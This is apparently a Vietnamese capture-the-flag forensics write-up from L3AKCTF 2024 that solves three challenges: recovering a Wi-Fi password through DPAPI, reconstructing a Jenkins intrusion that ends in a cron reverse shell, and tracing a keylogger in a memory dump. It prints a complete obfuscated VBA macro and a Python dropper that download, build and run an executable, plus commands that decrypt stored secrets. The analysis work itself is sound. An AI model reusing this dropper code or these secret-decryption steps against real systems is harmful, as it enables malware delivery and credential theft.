# L3AKCTF 2024 Writeup ## Forensics ### AiR ![image](https://hackmd.io/_uploads/rJvteJMN0.png) Chúng ta được cho một folder C nên vì thế đây là một dạng endpoint forensics. Dựa vào đề bài, ta cần tìm password mà máy tính author kết nối. Làm một chút research, ta thấy rằng khi một mạng wifi được kết nối với máy tính, thông tin bao gồm password, tên wifi,... sẽ được lưu ở ```C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces[Interface Guid]``` Tuy nhiên mật khẩu (KeyMaterial) đã bị mã hóa nằm ở trong file xml ![image](https://hackmd.io/_uploads/BJiRZyGVR.png) Sau một thời gian nghiên cứu, mình biết rằng nó được mã hóa bằng Data Protection API (DPAPI) của Windows. ![image](https://hackmd.io/_uploads/Bk0dzkf4A.png) Như ở sơ đồ trên, ta thấy rằng để decrypt thì ta cần User's master key nằm ở folder ```%APPDATA%/\Roaming\Microsoft/Protect/``` và System's master key nằm ở folder ```%WINDIR%/System32/Microsoft/Protect``` Ta sẽ sử dụng [tool](https://github.com/tijldeneut/dpapilab-ng/blob/main/wifidec.py) để decrypt nếu có đầy đủ các folder chứa master key ở trên. ``` C:\Users\tamin\Downloads>python wifidec.py --system D:\C\Windows\System32\config\SYSTEM --security D:\C\Windows\System32\config\SECURITY --masterkey D:\C\Windows\System32\Microsoft\Protect\S-1-5-18\User D:\C\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces ``` ![image](https://hackmd.io/_uploads/BJ5lUkGNC.png) > Flag : L3AK{BL0b_D3crypt1n9_1s_n0_n3w_t0_u_r1ght?} ### Impostor ![image](https://hackmd.io/_uploads/HywPIkz4A.png) Chúng ta có một file pcap và một file auth.log ![image](https://hackmd.io/_uploads/S135IJGEA.png) Cùng phân tích file pcap trước. Sử dụng Protocal Hierachy ta thấy có 3 protocal chính : TCP, Websocket và HTTP ![image](https://hackmd.io/_uploads/HJrJDyfEA.png) Ở tcp stream 0, ta thấy có một request với tên là jenkins-cli.jar ![image](https://hackmd.io/_uploads/Byt4Dkz4R.png) Mình tìm hiểu sơ qua thì Jenkins là một open-source được viết bởi Java có các tác vụ hỗ trợ tự động hóa. Ở tcp stream 1, ta thấy một response trả về giống như nội dung trong file etc/passwd ![image](https://hackmd.io/_uploads/ByYRv1MVR.png) Mình chuyển qua follow Websocket vì websocket dựa trên tcp cho chúng ta biết nội dung truyền tải giữa client và server một cách liên tục Đúng như dự đoán, attacker đang đọc nội dung file etc/passwd ![image](https://hackmd.io/_uploads/BJ5BdJzE0.png) Tiếp tục follow websocket, ta thấy một request gì đó liên quan đến masterkey ![image](https://hackmd.io/_uploads/Hyx_d1zNR.png) Tiếp tục follow, ta thấy có một response trả về file credentials.xml ![image](https://hackmd.io/_uploads/rJyidkMVA.png) Vậy ta có thể hình dung sơ qua kịch bản như sau. Attacker đã RCE thành công vào server của victim thông qua Jenkins, sau đó đọc etc/passwd, ```/var/lib/jenkins/secrets/master.key``` và ```/var/lib/jenkins/credentials.xml``` Ở trong file credentials.xml này, có phần khá sus nên nghĩ rằng nếu decode được nó ra thì có thể sẽ biết được gì đó xD ![image](https://hackmd.io/_uploads/B1JKKkMEA.png) Lên google thì biết rằng để decrypt nội dung trong ```/var/lib/jenkins/credentials.xml``` ta cần có master.key và ```/var/lib/jenkins/secrets/hudson.util.Secret```, sau đó thì dùng [tool](https://github.com/tarvitz/jenkins-utils) này để decrypt Masterkey đã có rồi, giờ ta cần tìm hudson.util.Secret thôi. Follow nốt websocket stream, ta thấy part 1 của flag ![image](https://hackmd.io/_uploads/HkqXo1GVR.png) > Part 1 : 1s_0n_3dg Ở tcp stream 55, ta thấy một đoạn base64 khá sus ![image](https://hackmd.io/_uploads/r1OFs1GVR.png) Tuy nhiên decode ra thì ra một đoạn text gì đó ![image](https://hackmd.io/_uploads/HkxOoo1GVA.png) Sau khi google một hồi thì mình biết được rằng file ```/var/lib/jenkins/secrets/hudson.util.Secret``` trong Jenkins không thể đọc được dưới dạng văn bản thông thường vì nó chứa một khóa bí mật (secret key) được mã hóa. Vì vậy rất có khả năng đây là file đó nên mình sẽ note nó lại. Giờ qua mở file auth.log xem có gì hot Sau khi lướt qua một lượt, mình thấy rằng có một điểm khá sus. Có vẻ attacker đang cố bruteforce vào user sparkle ![image](https://hackmd.io/_uploads/H10ihyMVC.png) Nhưng sau một thời gian, thì cuối cùng attacker cũng đã login được vào user này Ở đây chúng ta có thể thấy khá rõ attacker đang đọc file hudson.util.Secret ở dạng base64, sau đó curl một file data.bin ở base58 và thực thi nó ![image](https://hackmd.io/_uploads/rJCLTkfE0.png) Follow tiếp tcp stream và ta có được nội dung file data.bin. Decode base58 thì ra một cron json ![image](https://hackmd.io/_uploads/S1O56JMNC.png) ![image](https://hackmd.io/_uploads/B1W2T1zVC.png) Ta có thể thấy script bash này đang sử dụng cron tab để reverse shell đến ip 192.168.222.151/1337 Decode cron_name ta được flag thứ 2 > Part 2 : E_30d84d801b2947f1bd2faae4fdcbb926} ![image](https://hackmd.io/_uploads/HJ--0Jf4C.png) Vì đã có masterkey và hudson secret. Ta sử dụng tool để decrypt thôi ![image](https://hackmd.io/_uploads/ByYEAkG4R.png) ```C:\Users\tamin\OneDrive\Máy tính\jenkins-utils-master\jenkins-utils-master>python invoke.py --master-key master.key --hudson-secret-key hudson.util.Secret --action decrypt "{AQAAABAAAAAgZv2vv4JB/AgWN1I47+8m9yZ+me7oTd6xvWNvtk5vJcx6UTPCzAvPcL3ugFrzQ0L+}"``` Decode base64 ta ra flag > FLAG : L3AK{J3nk1n$_1s_0n_3dgE_30d84d801b2947f1bd2faae4fdcbb926} ### The Spy ![image](https://hackmd.io/_uploads/S1YpCJGVR.png) Ở bài này, sử dụng volatility3 để phân tích memory dump. Sử dụng pslist để kiểm tra sơ bộ. Mình thấy có process khá lạ với tên là Soffice.bin ![image](https://hackmd.io/_uploads/r1_mygfEC.png) Dump process và đem lên virustotal, đây là một process của Libreoffice Sử dụng filescan plugin để grep các file .doc, mình thấy có một file .doc khá khả nghi ![image](https://hackmd.io/_uploads/SJUn1xzV0.png) Dump file này ra rồi sử dụng olevba để kiểm tra thì có macro ```python Private Declare PtrSafe Function a1AaQ Lib "urlmon" Alias "URLDownloadToFileA" ( _ ByVal b1BbQ As LongPtr, _ ByVal c1CcQ As String, _ ByVal d1DdQ As String, _ ByVal e1EeQ As Long, _ ByVal f1FfQ As LongPtr) As Long Public Function b1BbR(c1CcR As String) As String Dim d1DdR As Integer Dim e1EeR As Integer Dim f1FfR As String If Len(c1CcR) = 0 Or Len(c1CcR) Mod 2 <> 0 Then Exit Function d1DdR = Len(c1CcR) For e1EeR = 1 To Len(c1CcR) If e1EeR Mod 2 <> 0 Then f1FfR = f1FfR & Chr$(Val("&H" & Mid$(c1CcR, e1EeR, 2))) End If Next b1BbR = f1FfR End Function Sub c1CcS() Dim d1DdS As String Dim e1EeS As String Dim f1FfS As String Dim g1GgS As String Dim h1HhS As Long Dim username As String username = Environ("USERNAME") d1DdS = "68747470733n2s2s64726976652r676s6s676p652r636s6q2s66696p652s642s31764573414o44663731647763336267426s723238326o4p546173626p333348532s766965773s7573703q73686172696r67" e1EeS = j2JjS(d1DdS) f1FfS = b1BbR(e1EeS) g1GgS = "C:\Users\" & username & "\AppData\Local\pp.py" h1HhS = a1AaQ(0, f1FfS, g1GgS, 0, 0) If h1HhS = 0 Then MsgBox "File downloaded successfully.", vbInformation ' Run the Python script RunPython Else MsgBox "Failed to download file.", vbExclamation End If End Sub Function j2JjS(k2KkS As String) As String Dim l2LlS As String Dim m2MmS As Integer For m2MmS = 1 To Len(k2KkS) Select Case Asc(Mid(k2KkS, m2MmS, 1)) Case 65 To 77, 97 To 109 l2LlS = l2LlS & Chr(Asc(Mid(k2KkS, m2MmS, 1)) + 13) Case 78 To 90, 110 To 122 l2LlS = l2LlS & Chr(Asc(Mid(k2KkS, m2MmS, 1)) - 13) Case Else l2LlS = l2LlS & Mid(k2KkS, m2MmS, 1) End Select Next m2MmS j2JjS = l2LlS End Function Sub RunPython() Dim PythonExe As String Dim PythonScript As String Dim Command As String Dim username As String username = Environ("USERNAME") PythonExe = "C:\Users\" & username & "\AppData\Local\Microsoft\WindowsApps\python3.exe" PythonScript = "C:\Users\" & username & "\AppData\Local\pp.py" Command = PythonExe & " " & PythonScript Shell Command, vbNormalFocus End Sub ``` Đọc qua thì ta biết có vẻ nó đang download và giải mã để tạo ra file pp.py và thực thi nó Viết một đoạn script python để extract file pp.py ```python import requests def rot13(s): result = [] for char in s: if 'A' <= char <= 'M' or 'a' <= char <= 'm': result.append(chr(ord(char) + 13)) elif 'N' <= char <= 'Z' or 'n' <= char <= 'z': result.append(chr(ord(char) - 13)) else: result.append(char) return ''.join(result) def hex_to_ascii(hex_string): bytes_object = bytes.fromhex(hex_string) return bytes_object.decode('ascii') # Chuỗi đã mã hóa encoded_string = "68747470733n2s2s64726976652r676s6s676p652r636s6q2s66696p652s642s31764573414o44663731647763336267426s723238326o4p546173626p333348532s766965773s7573703q73686172696r67" # Giải mã sử dụng ROT13 decoded_rot13 = rot13(encoded_string) # Loại bỏ các ký tự không hợp lệ cho chuỗi hex clean_hex = ''.join([c for c in decoded_rot13 if c in '0123456789abcdefABCDEF']) # Chuyển đổi từ chuỗi hex thành chuỗi ASCII (URL) url = hex_to_ascii(clean_hex) response = requests.get(url) if response.status_code == 200: content = response.content with open("pp.py", "wb") as file: file.write(content) print("lưu pp.py") ``` Mở file pp.py lên ta được script python sau: ```python import os import requests def download_file_from_google_drive(file_id, destination): URL = "https://docs.google.com/uc?export=download" session = requests.Session() response = session.get(URL, params={'id': file_id}, stream=True) token = get_confirm_token(response) if token: params = {'id': file_id, 'confirm': token} response = session.get(URL, params=params, stream=True) save_response_content(response, destination) def get_confirm_token(response): for key, value in response.cookies.items(): if key.startswith('download_warning'): return value return None def save_response_content(response, destination): CHUNK_SIZE = 32768 with open(destination, "wb") as f: for chunk in response.iter_content(CHUNK_SIZE): if chunk: f.write(chunk) def hex_to_binary(hex_str): return bytes.fromhex(hex_str) def save_binary_to_file(binary_data, file_path): with open(file_path, 'wb') as file: file.write(binary_data) def reverse_hex_conversion(file_path, output_file): with open(file_path, 'r') as file: hex_content = file.read().strip() binary_data = hex_to_binary(hex_content) save_binary_to_file(binary_data, output_file) def run_retrieved_file(file_path): os.system(file_path) if __name__ == "__main__": # Download the file and save it as file_hex.txt file_id = "1lTEbD37UC7B7tIRoAEQ1YK6niLQHGZt0" input_file = "file_hex.txt" download_file_from_google_drive(file_id, input_file) # Convert hex to binary and save it as L3AK.exe output_file = "L3AK.exe" reverse_hex_conversion(input_file, output_file) # Execute the retrieved file print("File retrieved and executed as L3AK.exe") ``` Cùng phân tích qua một chút, hàm download_file_from_google_drive nhận 2 tham số truyền vào là file_id và destination Trở lại hàm run_retrieved_file, ta thấy rằng nó gọi hàm download_file_from_google_drive với 2 parameters là file_id và input_file với : > file_id = "1lTEbD37UC7B7tIRoAEQ1YK6niLQHGZt0" input_file = "file_hex.txt" file_id nhìn rất giống với phần url id của drive.google.com nên mình paste thử thì ra một đoạn hex ![image](https://hackmd.io/_uploads/HJQXGxGNA.png) ![image](https://hackmd.io/_uploads/r1UVzlfE0.png) Có đủ 2 tham số rồi ta sẽ tạo ra được một file L3AK.exe Sử dụng pyinstxtractor để reverse file python này, ta được file keylogger.pyc ![image](https://hackmd.io/_uploads/SJKdzgzEC.png) Tuy nhiên khi mình ném lên decompiler online thì không thể decrypt được file pyc này ??? Khá khó hiểu nên mình thử strings thì thấy một link webhook cùng một đoạn base64 ![image](https://hackmd.io/_uploads/ryRhGgz40.png) Decode đoạn base64, ta có một url tới channel discord, flag nằm ở trong channel luôn ![image](https://hackmd.io/_uploads/H1yJmef4R.png) > Flag : L3AK{D1sc0rd_WebH00ks_4re_C001}